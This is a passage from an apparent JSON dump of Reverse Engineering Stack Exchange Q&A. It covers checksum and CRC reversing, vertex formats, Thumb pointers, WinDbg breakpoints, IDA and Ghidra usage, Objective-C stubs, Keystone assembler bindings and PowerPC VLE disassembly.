0014 900A 4D4C 00CC 320D 000C 0001 0000 1201 0404 120D 0D84 032A FFFF FFFF\n</code></pre>\n<p>Most of the checksums seem to be in the <code>0200..0300</code> range, however really long messages can have larger values, such as these ones at powerup that are in the <code>0700</code> range, which suggests to me some kind of sum/addition, given that longer messages have larger checksums:</p>\n<pre><code>A5A5 0036 5001 4D4C 00CC 1200 002A 2101 0002 2102 2020 4152 3034 4344 2103 0000 2104 0258 2105 0A21 063C 2107 0521 0814 2109 0000 210C E2D0 07D6 FFFF FFFF FFFF\nA5A5 0036 5002 4D4C 00CC 1200 002A 2101 0002 2102 2020 4152 3034 4344 2103 0000 2104 0258 2105 0A21 063C 2107 0521 0814 2109 0000 210C E2D0 07D7 FFFF FFFF FFFF\n</code></pre>\n<p>Any insights to a possible algorithm here would be much appreciated!</p>\n",
        "Title": "Makita XGT battery/charger protocol checksum",
        "Tags": "|crc|checksum|communication|",
        "Answer": "<p>Starting <code>A5A5</code> and trailing <code>FFFF</code> should be excluded.<br />\nThe checksum is just a 16-bit sum of 8-bit bytes.</p>\n<pre class=\"lang-none prettyprint-override\"><code>A5A5 0018 501A 4D4C 00CC 120D 0008 0003 0002 1201 120D 0245 FFFF FFFF FFFF FFFF\n      ^ ^  ^ ^  ^ ^  ^ ^  ^ ^  ^ ^  ^ ^  ^ ^  ^ ^  ^ ^    ^\n      \\----------------bytes to sum up---------------/  sum\n\n0x00 + 0x18 + ... + 0x12 + 0x0D = 0x0245\n</code></pre>\n"
    },
    {
        "Id": "32360",
        "CreationDate": "2023-10-05T03:45:51.830",
        "Body": "<p>I'm trying to decode a vertex format that is used by the assets of a 3D application.</p>\n<p>I've identified the 0x24 stride. Every section starts with the position of the vertex, that is 3 32bit floats + 1 0xFFFFFFFF for as the fourth component/padding whatever that is. Then, then there are another 2 32bit float which 99.999% are the UV coordinates of each vertex.</p>\n<p>And then there's 12 bytes that I have absolutely no idea what on earth they are. An indicative set of these bytes looks like this:</p>\n<p><a href=\"https://i.stack.imgur.com/wxr8O.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wxr8O.png\" alt=\"byteselection\" /></a></p>\n<p>So these are definitely not 32bit floats. The thing is that there is not a single time I've worked on any file that a vertex stream does not include normals. So normals should be stored somehow in the stream. However, it is insane to me that they are wasting 8 bytes for UVs and normals are stored in an obscure format.... I've also crosschecked wether the 2 floats were part of a normalized normal vector, but this is also not the case.</p>\n<p>The mesh is not skinned so they are probably not bytes that could be used for blend indices and thus, there are no weights either. I also tried to interpret them as half floats but they numbers really do not make any sense. So I suspect that something else is going on here, probably some masking of some sort.</p>\n<p>Any help is very much appreciated.</p>\n<p>PS: I've also attached a part of the stream.</p>\n<p><a href=\"https://temp-file.org/g8LPFepYbRfLHRW/file\" rel=\"nofollow noreferrer\">https://temp-file.org/g8LPFepYbRfLHRW/file</a></p>\n",
        "Title": "Trying to decode a vertex format",
        "Tags": "|graphics|vertex-buffer|",
        "Answer": "<p>A bit underwhelming way to resolve that problem, but after testing it seems that indeed in these 8 first bytes includes both normals AND tangents. Both are saved as signed bytes. Still cannot understand who decided to spend the same amount of memory just for one UV channel compared to normals and tangents....</p>\n"
    },
    {
        "Id": "32363",
        "CreationDate": "2023-10-05T11:54:18.563",
        "Body": "<p>i'm dissassembling an arm shared object and i'm seeing this line:</p>\n<pre><code>iVar1 = SecurityAccess(param_2,SeedEncrypt + 1,0x1);\n</code></pre>\n<p>the SecurityAccess SeedEncrypt  is:</p>\n<pre><code>int SecurityAccess(int param_1,void *param_2,uint param_3)\n</code></pre>\n<p>and the  SeedEncrypt function signature:</p>\n<pre><code>uint SeedEncrypt (uint param_1,uint param_2)\n</code></pre>\n<p>As you can see it is a pointer to a function (SeedEncrypt being a function), so my question is, what does the SeedEncrypt + 1 means?</p>\n<p>I saw online that you increment the address by the size of the function's return type, and as the SeedEncrypt address is 000a1fd6 and the signature is uint, how should i interpret it?</p>\n<p>This the SeedEncrypt function decompiled:</p>\n<hr />\n<pre><code>                         *                          FUNCTION                          *\n                         **************************************************************\n           uint __stdcall SeedEncrypt (uint param_1, uint param_2)\n                           assume LRset = 0x0\n                           assume TMode = 0x1\n         uint              r0:4           &lt;RETURN&gt;\n         uint              r0:4           param_1\n         uint              r1:4           param_2\n                         SeedEncrypt \n    000a1fd6 83 08           lsrs       r3,param_1,#0x2\n    000a1fd8 59 40           eors       param_2,r3\n    000a1fda 43 08           lsrs       r3,param_1,#0x1\n    000a1fdc 58 40           eors       param_1,r3\n    000a1fde c3 00           lsls       r3,param_1,#0x3\n    000a1fe0 08 1c           adds       param_1,param_2,#0x0\n    000a1fe2 58 40           eors       param_1,r3\n    000a1fe4 70 47           bx         lr\n</code></pre>\n",
        "Title": "What does adding to a function pointer do?",
        "Tags": "|ghidra|",
        "Answer": "<p><code>SeedEncrypt</code>'s code is <a href=\"https://developer.arm.com/documentation/dui0068/b/Writing-ARM-and-Thumb-Assembly-Language/Overview-of-the-ARM-architecture/Thumb-instruction-set-overview\" rel=\"nofollow noreferrer\">ARM Thumb</a> code, a compressed subset of the ARM istruction set with 2-byte opcodes.</p>\n<p>To differentiate between normal and Thumb code, the least significant bit of code pointers is used, and a pointer to a Thumb function will have it set. Disassemblers often recognize this, and show a <code>+1</code> after the pointer.</p>\n<p><a href=\"https://stackoverflow.com/q/37004954/7547712\">__</a></p>\n"
    },
    {
        "Id": "32367",
        "CreationDate": "2023-10-06T06:10:11.217",
        "Body": "<p>I want to set a conditional breakpoint on function argument at the entry of a function. Here is the value I want which is c0 a8 89 01. I want to break the function when that register holds this specific value</p>\n<pre><code>2: kd&gt; db @rdx\nffffae86`ee4ec024  c0 a8 89 01 c0 a8 89 b4-00 35 e6 d2 00 3a 51 ae  .........5...:Q.\nffffae86`ee4ec034  d1 c9 81 83 00 01 00 00-00 00 00 00 05 5f 6c 64  ............._ld\nffffae86`ee4ec044  61 70 04 5f 74 63 70 03-70 64 63 06 5f 6d 73 64  ap._tcp.pdc._msd\nffffae86`ee4ec054  63 73 04 74 65 73 74 05-6c 6f 63 61 6c 00 00 06  cs.test.local...\nffffae86`ee4ec064  00 01 87 e4 5c 15 80 e4-22 d2 1e 15 d3 b6 13 67  ....\\...&quot;......g\nffffae86`ee4ec074  ed b1 02 ec 38 78 8f 7e-26 3e 34 d0 e6 db 55 20  ....8x.~&amp;&gt;4...U \nffffae86`ee4ec084  14 fe a2 e2 1e a9 d5 25-6f 47 cd 17 a3 41 08 11  .......%oG...A..\nffffae86`ee4ec094  be b3 c7 20 ed e1 80 26-49 3e f7 90 43 0d 75 db  ... ...&amp;I&gt;..C.u.\n</code></pre>\n<p>The command I use is</p>\n<pre><code>bp module!function &quot;.if(poi(@rdx)&amp;0x0`ffffffff==0x0189a8c0){.echo target hash triggered;r rcx} .else{gc} &quot;\n</code></pre>\n<p>But I found out that this bp is never triggered so I took a deep look</p>\n<pre><code>2: kd&gt; ? poi(@rdx)&amp;0x0`ffffffff\nEvaluate expression: 25798848 = 00000000`0189a8c0\n\n2: kd&gt; ? poi(@rdx)&amp;0x0`ffffffff==0x0189a8c0\nEvaluate expression: 0 = 00000000`00000000\n</code></pre>\n<p>why is the condition 0? I know the condition is in MASM but I don't understand why this happened.</p>\n",
        "Title": "windbg conditional breakpoint equal always get 0",
        "Tags": "|windbg|breakpoint|",
        "Answer": "<p>operator precdence 0xffffffff==somevalue will naturally be false or 0</p>\n<pre><code>0:000&gt; ? poi(@rbx)\nEvaluate expression: 8388357042652472396 = 74696e49`7072644c\n0:000&gt; ? poi(@rbx) &amp; 0`ffffffff\nEvaluate expression: 1886544972 = 00000000`7072644c\n0:000&gt; ? poi(@rbx) &amp; 0`ffffffff == 7072644c\nEvaluate expression: 0 = 00000000`00000000\n0:000&gt; ? (poi(@rbx) &amp; 0`ffffffff) == 7072644c\nEvaluate expression: 1 = 00000000`00000001\n0:000&gt;\n</code></pre>\n"
    },
    {
        "Id": "32369",
        "CreationDate": "2023-10-06T13:37:56.533",
        "Body": "<p>I'm dealing with a reverse engineering challenge involving a binary application that was statically compiled with a legacy library. While the legacy library is not vulnerable, it lacks certain features that would significantly improve the functionality of the binary. Importantly, I have access to the open-source code of this library.</p>\n<p>My goal is to enhance the binary by incorporating these missing features from the new version of the library. Specifically, I want to:</p>\n<ol>\n<li>Take the binary compiled with the legacy library.</li>\n<li>Integrate the additional features from the new version of the library into the binary.</li>\n<li>Rebuild or modify the binary so that it utilizes the enhanced library functionality.</li>\n</ol>\n<p>Is this feasible, and if so, what are the general steps or techniques involved in achieving this task? Have you ever heard about something like that?</p>\n<p>Any advice or insights would be greatly appreciated.</p>\n",
        "Title": "Updating legacy library in an already compiled binary",
        "Tags": "|c++|c|linux|elf|patching|",
        "Answer": "<p>This is what I have done in similar cases but adapted to your scenario:</p>\n<ul>\n<li>Build the new open source library as a standard SO or DLL that is loadable by your target. If you're unlucky, you might need to use an old compiler...</li>\n<li>Patch the entry point of your target to load the SO/DLL as soon as it's safe or, alternatively, directly modify the binary to add a new library to it so you don't have to load it yourself.</li>\n<li>Hook the exported functions of the library statically linked inside your binary and forward them to the newly built library. If you're unlucky, the functions are in-lined and then your life would not be so nice (but most likely the functions aren't in-lined).</li>\n</ul>\n<p>By doing this you minimize the number of pure assembler patches you need to write and once it's working, you will almost &quot;magically&quot; have your target working with newest versions of your target library (but you will have to test to verify it's compatible and they didn't break something).</p>\n<p>Oh, by the way! Naturally, you will need to find first where the library is inside the binary. You can diff with <a href=\"https://github.com/joxeankoret/diaphora\" rel=\"nofollow noreferrer\">Diaphora</a> a version of your open source library against your target and import the symbols you need.</p>\n<p>Hope it helps.</p>\n"
    },
    {
        "Id": "32380",
        "CreationDate": "2023-10-08T16:56:27.443",
        "Body": "<p>So I've set myself the goal of editing Crash Bash saves for the PS1.\nI'm using RetroArch + PCSX, so I'm editing memory card .srm files binary contents directly.</p>\n<p>Uploaded a zip with some save games, in case you want to look at them:\n<a href=\"https://drive.google.com/file/d/1xZgQGt4MmSoduK5lWjAT1osa1hBEbsEE/view?usp=drive_link\" rel=\"nofollow noreferrer\">https://drive.google.com/file/d/1xZgQGt4MmSoduK5lWjAT1osa1hBEbsEE/view?usp=drive_link</a></p>\n<p>After editing file contents, the game ignores the save. Through trial and error, I've seen that I can't modify anything inside the range [0x2200, 0x2850), so that must be CRC-checked.</p>\n<p>Anything before 0x2200 (e.g. file name, icons) is defined in the specs for the memory card file format in here:\n<a href=\"https://www.psdevwiki.com/ps3/PS1_Savedata\" rel=\"nofollow noreferrer\">https://www.psdevwiki.com/ps3/PS1_Savedata</a></p>\n<p>The files end up with what looks to be a 32-bit CRC hash.\n0x2850: 01 00 00 00 00 00 00 00 00 00 00 00 E3 B6 0C E7</p>\n<p>Weirdly enough, the hash is at 0x285C, but the hash is not covering the gap between (0x2850, 0x285C), so I can edit those bits and the game recognizes and loads the save just fine.\nI think it's safe to say that the game data is in the [0x2200, 0x2860) range and that the game is the one (i.e. not the system) running the CRC-check over [0x2200, 0x2850).</p>\n<p>I've tried copying the hex values of the save into <a href=\"https://crccalc.com/\" rel=\"nofollow noreferrer\">https://crccalc.com/</a> to see if any of the values would match, but no luck.</p>\n<p>I've also tried using <a href=\"https://reveng.sourceforge.io/\" rel=\"nofollow noreferrer\">https://reveng.sourceforge.io/</a>, <a href=\"https://crc-reveng.septs.app/\" rel=\"nofollow noreferrer\">https://crc-reveng.septs.app/</a> with options:\n-w 32 -l -s</p>\n<p>So that:</p>\n<ul>\n<li>-w: Assuming that the hash is 32 bit</li>\n<li>-l: I think that PSX is little-endian, so I assume that this CRC should also be little endian</li>\n<li>-s: search mode from reveng</li>\n</ul>\n<p>Since reveng seems to work better with more samples, I've been doing some additional saves, so I have 6 sample files.</p>\n<p>But that returns no results. Judging the usages I've seen (<a href=\"https://hackaday.com/2019/06/27/reverse-engineering-cyclic-redundancy-codes/\" rel=\"nofollow noreferrer\">https://hackaday.com/2019/06/27/reverse-engineering-cyclic-redundancy-codes/</a>), I think it should be fine with 6 saves, but all use cases I've seen have always been running over smaller data, so who knows.</p>\n<p>So I'm running a bit out of ideas here. Let me know if you have any recommendations.</p>\n",
        "Title": "Figuring a CRC to edit a PS1 save file",
        "Tags": "|crc|game-hacking|checksum|",
        "Answer": "<p><em>Note: I also posted this answer at the following ROMHacking.net forum post: <a href=\"https://www.romhacking.net/forum/index.php?topic=37808.msg449648#msg449648\" rel=\"nofollow noreferrer\">Re: Figuring a CRC to edit a PS1 save file</a></em></p>\n<p>It looks like the &quot;hash&quot; function is just a simple 32-bit sum: In the files you provided, if you treat each group of 4 bytes in the range [0x2200, 0x2850) as a little-endian unsigned integer and sum them all up (modulo 2<sup>32</sup>), the sum will match the 4-byte little-endian unsigned value at 0x285C.</p>\n"
    },
    {
        "Id": "32383",
        "CreationDate": "2023-10-11T19:17:16.237",
        "Body": "<p>I'm analyzing some functions I see in Machos binaries and I see that whenever there's <code>bl</code> instruction to an objective-c stub function that resides in the <code>__objc_stubs</code> section and in that function there's eventually a call with <code>br</code> instruction to the <code>_objc_msgSend</code> symbol that resides in the <code>_got</code> section that will eventually get resolved when the <code>libobjc.dylib</code> will get loaded by the <code>dyld</code>, for example:</p>\n<pre><code>adrp x1, 0x24e000\nldr x1, [x1, #0x670] =&gt; some selector pointer\nadrp x16, 0x1fc000\nldr x16, [x16, #0xd48] =&gt; _objc_msgSend stub location\nbr x16\n</code></pre>\n<p>Now I wonder why there isnt any <code>ret</code> instruction at the end of these stubs to return to the code flow of the original function that called this stub? Will the <code>ret</code> instruction just be present in the <code>_objc_msgSend</code> from <code>libobjc.dylib</code> and it will eventually call it by itself?</p>\n",
        "Title": "Objective-C stub functions on AARCH64",
        "Tags": "|arm|mach-o|arm64|",
        "Answer": "<p>This is an example of optimizing a <em>tail call</em> - a call to another function which is done as the last statement of the current function. Because the LR (link register) has not been modified, the ret/blr of the destination function will directly return to the caller of the stub.</p>\n"
    },
    {
        "Id": "32389",
        "CreationDate": "2023-10-13T02:39:06.470",
        "Body": "<p>I'm working on a windows program which is walking PEB Ldr list. the related types are as follows:</p>\n<pre><code>struct LDR_DATA_TABLE_ENTRY {\n    LIST_ENTRY InLoadOrderLinks;         // offset = 0, size = 0x10\n    LIST_ENTRY InMemoryOrderLinks;   // offset = 0x10, size = 0x10\n    // ...\n    UNICODE_STRING FullDllName;       // offset = 0x48, size = 0x10\n    UNICODE_STRING BaseDllName;     // offset = 0x58, size = 0x10\n};\n</code></pre>\n<p>the pseudocode IDA generated is like that:</p>\n<pre><code>i = (LDR_DATA_TABLE_ENTRY *)NtCurrentPeb()-&gt;Ldr-&gt;InMemoryOrderModuleList.Flink;\nCurDllName = i-&gt;FullDllName.Buffer;     // FullDllName should be BaseDllName!\nCurDllNameLength = i-&gt;FullDllName.Length;\n</code></pre>\n<p>The problem is, <code>i-&gt;FullDllName</code> should be <code>i-&gt;BaseDllName</code>, because <code>i</code> is not <code>LDR_DATA_TABLE_ENTRY *</code> but actually <code>LDR_DATA_TABLE_ENTRY * + 0x10</code> (address of <code>LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks</code>).</p>\n<p>The correct output should be like that:</p>\n<pre><code>i = NtCurrentPeb()-&gt;Ldr-&gt;InMemoryOrderModuleList.Flink;\nLDR_DATA_TABLE_ENTRY *Node = CONTAINING_RECORD(i, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);\nCurDllName = Node-&gt;BaseDllName.Buffer;\nCurDllNameLength = Node-&gt;BaseDllName.Length;\n</code></pre>\n<p>In case <code>i</code> is an offset, Is there any way I can do to change type of <code>i</code> to something correct (like struct members) or just add the variable <code>Node</code> in IDA? The <code>Node</code> pointer I wrote here seems to be optimized out.</p>\n<p>I tried <code>CONTAINING_RECORD</code> but it seems not applicable here.</p>\n",
        "Title": "How to convert variable to struct member in IDA?",
        "Tags": "|ida|windows|pe|",
        "Answer": "<p>Right-click <code>i</code> and select either:</p>\n<ul>\n<li><code>Create new struct type</code> to create a new type deducted from <strong>function-scoped</strong> access to the variable</li>\n<li><code>Convert to struct *</code> to apply an existing type</li>\n</ul>\n<p>You can inspect and manage structure types in <code>Local Types</code> tab (<code>View/Open subviews/Local Types</code>), including the types you already have (found in system APIs and debug symbols).</p>\n"
    },
    {
        "Id": "32414",
        "CreationDate": "2023-10-22T02:37:05.593",
        "Body": "<p>I have a Huawei hg8245h modem and unfortunately, I have forgotten my sip phone password and my ISP does not provide it to me. I have downloaded the modem configuration and this is the section related to the SIP password:</p>\n<pre><code>&lt;SIP AuthUserName=&quot;XXXX&quot; AuthPassword=&quot;XXXX&quot; URI=&quot;&quot;&gt;\n&lt;X_HW_Digitmap DMName=&quot;&quot; DigitMap=&quot;&quot; DigitMapStartTimer=&quot;20&quot; DigitMapShortTimer=&quot;5&quot; DigitMapLongTimer=&quot;10&quot;/&gt;\n&lt;/SIP&gt;\n</code></pre>\n<p>I have tried to use this tool to decipher with no success:\n<a href=\"https://andreluis034.github.io/huawei-utility-page/#cipher\" rel=\"nofollow noreferrer\">https://andreluis034.github.io/huawei-utility-page/#cipher</a></p>\n<p>Can someone decipher this password for me or give me help to dicpher it?</p>\n",
        "Title": "I need to decipher my Huawei hg8245h modem sip phone password",
        "Tags": "|decryption|router|",
        "Answer": "<p>You can use the tool mentioned here: <a href=\"https://github.com/hu60t/hu60wap6/files/6206916/Huawei.configuration.encryption.and.decryption.tools.zip\" rel=\"nofollow noreferrer\">https://github.com/hu60t/hu60wap6/files/6206916/Huawei.configuration.encryption.and.decryption.tools.zip</a></p>\n<p>Reference: <a href=\"https://gist.github.com/staaldraad/605a5e40abaaa5915bc7\" rel=\"nofollow noreferrer\">https://gist.github.com/staaldraad/605a5e40abaaa5915bc7</a></p>\n"
    },
    {
        "Id": "32421",
        "CreationDate": "2023-10-23T07:44:18.633",
        "Body": "<p>I have the same situation as in question <a href=\"https://reverseengineering.stackexchange.com/questions/20484/crc8-reverse-engineering\">CRC8 reverse engineering</a>.\nBut changing the final XOR value seems not to solve my problem and reveng does not help as well.</p>\n<p>I am copying the text from the original question here again:</p>\n<blockquote>\n<p>I am creating a CAN Bus on-bench testing solution which replicates the\nentire vehicle to test a single module. I have a number of messages\nthat require a CRC byte in order to be valid. The messages are in\nlittle-endian byte order, and the CRC value is held in byte 0. I have\ncollected valid messages with a changing 4 bit alive-counter along\nwith their CRC byte with the hope someone can help. I have tried CRC\nreveng, but either do not know hot to use it correctly or it is unable\nto find the polynomial, as it shows &quot;No models found&quot; when searching.</p>\n<p>For reference, I found documentation that suggests the polynomial used\nis the standard SAE J1850 CRC8 polynomial x^8 + x^4 + x^3 + x^2 + 1,\nwith a CRC-ID in decimal of 166 (stated as used for the low byte). I\nhave also tried with the online calculator available here:\n<a href=\"http://www.sunshine2k.de/coding/javascript/crc/crc_js.html\" rel=\"nofollow noreferrer\">http://www.sunshine2k.de/coding/javascript/crc/crc_js.html</a>, but cannot\nget the correct result.</p>\n<p>If anyone could provide some assistance, I would greatly appreciate\nit. I would like help in clarifying the correct polynomial, along with\nany other relevant parameters.</p>\n</blockquote>\n<p>Here my messages (can provide different, more complex data if required):</p>\n<pre><code>CRC   DATA\nDE    10 FF FF FF FF FF FF      \nCB    11 FF FF FF FF FF FF      \nA3    12 FF FF FF FF FF FF      \n48    13 FF FF FF FF FF FF      \n96    14 FF FF FF FF FF FF      \n36    15 FF FF FF FF FF FF      \nEB    16 FF FF FF FF FF FF      \n1C    17 FF FF FF FF FF FF      \n6A    18 FF FF FF FF FF FF      \n9D    19 FF FF FF FF FF FF   \n40    1A FF FF FF FF FF FF   \nE0    1B FF FF FF FF FF FF   \n3E    1C FF FF FF FF FF FF   \n43    1D FF FF FF FF FF FF   \n9E    1E FF FF FF FF FF FF   \n69    1F FF FF FF FF FF FF  \n</code></pre>\n<p>CAN trace is from a 9G automatic transmission but most of the messages on this powertrain bus seem to use the same mechanism (counter in the same 4 bits, CRC in the first byte, etc.). Any help with finding out how this CRC byte is calculated is highly appreciated : )</p>\n<p>Here some more data from another message (id 0x37):</p>\n<pre><code>CRC   DATA\nFC  20 88 04 21 00 0F 00   \n88  21 88 05 21 00 0F 00   \n95  22 88 04 21 00 0F 00   \n79  23 88 05 21 00 0F 00   \n66  24 88 04 21 00 0F 00   \n56  25 88 04 21 00 0F 00   \n56  26 88 05 21 00 0F 00   \n8A  27 88 04 21 00 0F 00   \n17  28 88 05 21 00 0F 00   \n76  29 88 04 21 00 0F 00   \nD3  2A 88 05 21 00 0F 00   \n4C  2B 88 04 21 00 0F 00   \nEE  2C 88 05 21 00 0F 00   \nE9  2D 88 04 21 00 0F 00   \nA2  2E 88 05 21 00 0F 00   \n1B  2F 88 04 21 00 0F 00   \n</code></pre>\n<p>Just found this table in the Damos for the corresponding ECU:</p>\n<pre><code>Unique identifier array for the CRC calculation of the signal group TCM_EngIntrvntn_Pr2 of the message TCM_EngIntrvntn_AR2\n56  5E  66  6E  76  7E  86  8E  96  9E  A6  AE  B6  BE  C6  CE\n</code></pre>\n<p>Maybe a different initial of final value is used for every counter value? Will try to generate messages with changing data for the same counter value.</p>\n<p>Only thing I have in my logs is this one at the moment:</p>\n<pre><code>CRC Data (counter value '2')\n95  22 88 04 21 00 0F 00   \nC1  22 88 05 21 00 0F 00\n</code></pre>\n",
        "Title": "CRC8 CAN message reverse engineering II",
        "Tags": "|crc|",
        "Answer": "<p>seems like I finally found it:</p>\n<p>CRC is calculated with polynomial 0x2F, inital 0xFF and final 0xFF.\nAs data are the bytes 1 to 7 used and as an 8th byte the value from table for the current message for the current counter value.\nYes, there is one table for each message (Unique identifier array for the CRC calculation of the signal group xyz)...</p>\n"
    },
    {
        "Id": "32430",
        "CreationDate": "2023-10-24T16:54:17.340",
        "Body": "<p>I'm working on a project related to Process Injection for learning Rust. I have to inject shellcode at some points and use the Keystone engine for assembling shellcode from source.</p>\n<p>I detected that the rust bindings were not successful assembling <code>syscall; ret</code> shellcode.</p>\n<p>I then tried to reproduce by creating a python and rust minimal version and ensuring the syntax in use was the same for both version (also both bindings has the same major and minor versions, which is v0.9)</p>\n<p><strong>Python version:</strong></p>\n<pre><code>from keystone import *\nfrom capstone import *\n\ncode = &quot;syscall; ret&quot;\n\nks = Ks(KS_ARCH_X86, KS_MODE_64)\nks.syntax = KS_OPT_SYNTAX_INTEL\nencoding, count = ks.asm(code)\n\ncs = Cs(CS_ARCH_X86, CS_MODE_64)\ndisass = cs.disasm(bytes(encoding), 0x1000)\n\nprint(&quot;Assembly: %s&quot; % code)\nprint(&quot;Binary: %s&quot; % encoding)\nprint(&quot;Disassembly:&quot;)\nfor i in disass:\n    print(&quot;0x%x:\\t%s\\t%s&quot; % (i.address, i.mnemonic, i.op_str))\n</code></pre>\n<p><strong>Rust version:</strong></p>\n<pre><code>use keystone::{self, MODE_64};\nuse capstone::{self, prelude::BuildsCapstone};\n\nfn main() {\n    let code = &quot;syscall; ret&quot;;\n\n    let ks = keystone::Keystone::new(keystone::Arch::X86, MODE_64).unwrap();\n    ks.option(keystone::OptionType::SYNTAX, keystone::OPT_SYNTAX_INTEL).unwrap();\n\n    let encoding = ks.asm(code.to_string(), 0x1000).unwrap();\n\n    let cs = capstone::Capstone::new()\n                .x86()\n                .mode(capstone::arch::x86::ArchMode::Mode64)\n                .build().unwrap();\n    \n    let insns = cs.disasm_all(&amp;encoding.bytes, 0x1000).unwrap();\n    println!(&quot;Assembly: {}&quot;, code);\n    println!(&quot;Binary: {:?}&quot;, encoding.bytes);\n    println!(&quot;Disassembly:&quot;);\n    for i in insns.iter() {\n        println!(&quot;{}&quot;, i);\n    }\n}\n</code></pre>\n<p>Here is the result of running the programs:\n<a href=\"https://i.stack.imgur.com/9oAxp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9oAxp.png\" alt=\"Testing of both programs\" /></a></p>\n<p>As you can see, the Rust implementation outputs random binary code and I would like to know why.</p>\n<p>Is it related to a misunderstanding of rust ? or of the rust bindings ?\nA bug in the rust bindings ?</p>\n<p>I'm kinda stuck in my comprehension of the problem so if anyone can help me.</p>\n<p>Regards.</p>\n",
        "Title": "Keystone rust bindings error when assembling \"syscall; ret\" shellcode",
        "Tags": "|assembly|",
        "Answer": "<p>Cmake Version</p>\n<pre><code>D:\\&gt;cmake --version\ncmake version 3.28.0-rc3\n\nCMake suite maintained and supported by Kitware (kitware.com/cmake).\n</code></pre>\n<p>rust version</p>\n<pre><code>D:\\&gt;cargo -V\ncargo 1.73.0 (9c4383fb5 2023-08-26)   \n</code></pre>\n<ol>\n<li>create a project directory  md dir</li>\n<li>init the project in the directory  with cargo init</li>\n<li>add the Dependency &quot;keystone-engine&quot; to Cargo.toml with cargo add</li>\n</ol>\n<hr>\n<pre><code>D:\\&gt;md rustkey\n\nD:\\&gt;cd rustkey\n\nD:\\rustkey&gt;cargo init\n     Created binary (application) package\n\nD:\\rustkey&gt;cargo add keystone-engine\n    Updating crates.io index\n      Adding keystone-engine v0.1.0 to dependencies.\n             Features:\n             + build-from-src\n             + cmake\n             - pkg-config\n             - use-system-lib\n    Updating crates.io index\n</code></pre>\n<p>source to compile</p>\n<pre><code>D:\\rustkey&gt;cd src\n\nD:\\rustkey\\src&gt;notepad main.rs\n\nD:\\rustkey\\src&gt;type main.rs\nuse keystone_engine::*;\nfn main() {\n        let engine = Keystone::new(Arch::X86, Mode::MODE_64).expect(&quot;Could not initialize Keystone engine&quot;);\n        let result = engine.asm(&quot;syscall;ret&quot;.to_string(),0).expect(&quot;Could Not Assemble&quot;);\n        println!(&quot;{}&quot;,result);\n}\n\nD:\\rustkey\\src&gt;cd ..\n</code></pre>\n<p>build the project</p>\n<pre><code>D:\\rustkey&gt;cargo build\n   Compiling cc v1.0.83\n   Compiling libc v0.2.149\n   Compiling bitflags v1.3.2\n   Compiling cmake v0.1.50\n   Compiling keystone-engine v0.1.0\n   Compiling rustkey v0.1.0 (D:\\rustkey)\n    Finished dev [unoptimized + debuginfo] target(s) in 5m 49s\n</code></pre>\n<p>running the project multiple times</p>\n<pre><code>    D:\\rustkey&gt;cargo -q run\n0f05c3\n\nD:\\rustkey&gt;cargo -q run\n0f05c3\n\nD:\\rustkey&gt;cargo -q run\n0f05c3\n\nD:\\rustkey&gt;cargo -q run\n0f05c3\n</code></pre>\n"
    },
    {
        "Id": "32440",
        "CreationDate": "2023-10-26T12:04:31.207",
        "Body": "<p>I am trying to disassemble PowerPC dump with <code>objdump</code>. I have only raw binary dump, not ELF or any other 'container'.</p>\n<p>Unfortunately, I cannot find any option to force VLE mode (my binary definitely uses it).</p>\n<p>This one is just a short example:</p>\n<pre><code>~$ objdump -b binary -EB -m powerpc:vle -M vle -D PowerPC_test.bin\n\nPowerPC_test.bin:     file format binary\n\nDisassembly of section .data:\n\n00000000 &lt;.data&gt;:\n   0:   c5 a9 50 1a     .long 0xc5a9501a\n   4:   fb 70 2a a4     .long 0xfb702aa4\n</code></pre>\n<p>According to IDA and Ghidra, it should be</p>\n<pre><code>seg000:00000000 C5 A9                       se_lwz    r26, 0x14(r25)\nseg000:00000002 50 1A FB 70                 e_lwz     r0, -0x490(r26)\nseg000:00000006 2A A4                       se_cmpi   r4, 0xA\n</code></pre>\n",
        "Title": "PowerPC disassemble with objdump",
        "Tags": "|objdump|powerpc|",
        "Answer": "<p>Your toolchain probably does not support VLE (AFAIK it was never mainlined), so you\u2019ll need a fork with VLE support (e.g. from <a href=\"https://www.nxp.com/design/software/development-software/s32-design-studio-ide/s32-design-studio-for-power-architecture:S32DS-PA?#design-resources\" rel=\"nofollow noreferrer\">Freescale/NXP</a>, <a href=\"https://hightec-rt.com/en/products/development-platform\" rel=\"nofollow noreferrer\">Hightec</a> or <a href=\"https://www.st.com/en/development-tools/spc5-studio.html\" rel=\"nofollow noreferrer\">ST</a>) and use the toolchain-specific switch to force VLE disassembly</p>\n"
    },
    {
        "Id": "32474",
        "CreationDate": "2023-11-06T09:09:37.857",
        "Body": "<p>I asked exactly the same question <a href=\"https://stackoverflow.com/questions/77429840/convert-a-memory-location-to-string-in-ghidra\">here</a>, but later I figure out this community and found out this helpful to ask it here as well.</p>\n<p>I would like to have a decompiled pseudo-code in <code>Ghidra</code> like:</p>\n<pre><code>FUN_4c4363e8(&quot;Hello world&quot;);\n</code></pre>\n<p>This is what usually I see in <code>IDA</code> , but in Ghidra, by default I get such a code:</p>\n<pre><code>FUN_4c4363e8((char*)(DAT_4c447798));\n</code></pre>\n<p>Is there a way to force the decompiler to convert the <code>DAT_4c447798</code> memory address to <code>&quot;Hello world&quot;</code> null-terminated string?</p>\n<p>Thanks.</p>\n",
        "Title": "convert a memory location to string in Ghidra",
        "Tags": "|ida|ghidra|",
        "Answer": "<p>Probably this DAT_4c447798 is a pointer and it should point to the string.</p>\n<p>Ghidra acts much better, if you specify that some memory areas are constant.\nIn the menu check <code>Window</code> -&gt; <code>Memory map</code> and remove ticks at <code>W</code> column for all areas where your code does not wrote to.</p>\n<p>And of course, please provide more details in further questions.</p>\n"
    },
    {
        "Id": "32475",
        "CreationDate": "2023-11-06T11:35:08.813",
